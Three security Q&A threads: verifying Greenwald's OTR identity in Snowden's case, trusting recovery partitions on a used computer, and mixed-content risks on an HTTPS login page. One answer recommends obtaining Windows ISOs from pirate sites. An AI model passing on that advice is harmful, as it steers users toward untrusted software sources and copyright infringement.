The OTR key exchange is automated, and is supposed to be verified by confirming the key fingerprint ideally out-of-band in a manner that allows both parties to confirm who they are talking to (for example, over phone by the parties recognizing each others' voices, or by means of a shared secret). But Snowden (quite likely with good reason) does not trust the communication channels -- e-mail, basically -- that he has available to Greenwald to not at least be monitored, and he probably wouldn't trust them to not be tampered with at least to some degree. Snowden doesn't actually share any documents before PGP encrypted email is available (that is basically stated on pages 19-20, again in the hardcover edition), but this still seems to me to present a communications channel bootstrapping problem.

Assuming that they have had no previous contact, how would Snowden have been able to positively confirm that he was actually talking to Greenwald, and not someone else, or someone performing a man-in-the-middle attack?

Verifying a remote party's identity with OTR requires a shared secret (and therefore a prior secure means of sharing secrets) or knowledge of their fingerprint (and therefore a verifiable way to communicate fingerprints).

I'm not aware of any published account of what Snowden actually did in this particular case. One realistic possibility, though, is that he might have used a trusted third party to relay the necessary information.  For example: both Snowden and Greenwald had by this point established secure communications with Laura Poitras - Snowden via PGP, as described in this article in The Intercept (which also explains in some detail how he verified her PGP fingerprint), and Greenwald via OTR, as he mentions a few paragraphs before the passage you quoted. He doesn't state how (or even whether) he and Poitras verified each other's identities, but they would not have had Snowden's difficulty: they had plenty of shared history on which an OTR question-and-answer verification might be based; or they could have verified fingerprints over the phone.

So with these secure channels already established, and assuming Snowden trusted Poitras, he could have asked her to send him Greenwald's OTR fingerprint by PGP encrypted/signed email.


Signing the Recovery Partition Do any computer manufacturers sign (DSA, or just publishing a hash) their recovery partitions so that I can be sure that these bits are authentic?  I'd like to buy a second-hand computer and reduce the chance of it having any spyware.

You shouldn't use the recovery partition even if it's signed. I would personally be more worried about the manufacturer than the person who's selling it to me (and if the seller is really malicious, he would've embedded some evil hardware keyloggers rather than relying on a partition I may never ever use).

To strictly answer your question, I believe the only solution is UEFI secure boot, which will extend the chain of trust up to the bootloader. After that, you should hope the bootloader does the same and checks authenticity of the kernel before loading it, and so does the kernel itself and the recovery program. This is pure theory and no manufacturer is going to "waste" time doing that, after all, why should they ? Installing Superfish takes less time and actually makes them gain more money.

Your best option is to download an MSDN ISO on either pirate sites or mirrors of the old Digitalriver server (an official reseller that provided direct downloads of ISOs which was really nice and allowed everyone to enjoy a clean Windows experience, but apparently we can't have nice things and it got replaced by this nonsense which doesn't work for OEM keys, like a big "F... you, you don't deserve a clean Windows, stay with your Acer-sponsored bloatware"). Once you get the ISO corresponding to the version installed currently, check the hash on MSDN.

Now depending on what OEM you have, your key on the bottom may just work (as it was the case for my Dell Latitude) or they may use something called SLP and the key at the bottom of your computer doesn't actually do anything and is just there to make you waste time. To be safe you could try to backup the current activation files, search for slic backup.

Finally I suggest you boot on a Linux Live-CD and issue a secure erase command to the HDD, or use a tool like shred to wipe the hard drive completely, including any MBR and hidden recovery partition that may be compromised or include bloatware. This isn't for data security so one pass of shred is enough.


Are there any vulnerabilities when making cross-domain HTTP requests during an SSL connection? I recently starting using the Calomel SSL Validation plugin for Firefox to test the SSL security on the sites I visit. When navigating to American Express' log in page, I noticed Calomel reports the encryption is "broken and insecure".

I then ran an HTTP analyzer on the requests from the HTTPS AmEx log in page and found the following:

POST http://ocsp.verisign.com/
GET  http://ad.doubleclick.net/crossdomain.xml
POST http://evintl-ocsp.verisign.com/
POST http://evsecure-ocsp.verisign.com/

These 4 requests are, from what I can tell, the cause of the SSL warnings I'm seeing. The Verisign requests look to be checking the status of the issued cert and the cross-domain request for DoubleClick is getting the cross-domain policy info.

Are these requests putting the SSL connection at risk by being over HTTP? I noticed none are sending any AmEx cookies.

Is checking the certificate status via an insecure HTTP OCSP POST safe to do during an SSL connection?

This question is entirely dependent on what content is being loaded and what browser you are using.  (Which is information that is curiously missing form this post)

Chrome by default will avoid mixed-content vulnerabilities by loading resources over HTTPS if possible.  Firefox will be introducing this security feature shortly.  IE lacks many modern security features,  and is especially vulnerable to Mixed Content vulnerabilities.

If you are loading JavaScript from an HTTP source on an HTTPS page,  then the entire page is compromised.  An attacker could introduce arbitrary JavaScript and read any content within that session (similar to XSS).   Flash objects that have allowscriptaccess enabled will also have access to any content within this HTTPS session.  CSS is normally not a concern, however, Internet Explorer allows you to embed JavaScript within CSS,  which would allow an attacker to read arbitrary content within the session.

So what about images and video?  Well you could Goatse someone (kids still do this right?) or flip images upside down,  but that is less of a concern than reading credit card numbers or obtaining a user's password or reading a cookie with the Secure flag set.

In the URLS above OCSP requests are usually in plaintext.  Hijacking a crossdomain.xml isn't much of a concern,  especially when the file in question already has the least secure rule-set possible:

<allow-access-from secure="false" domain="*"/>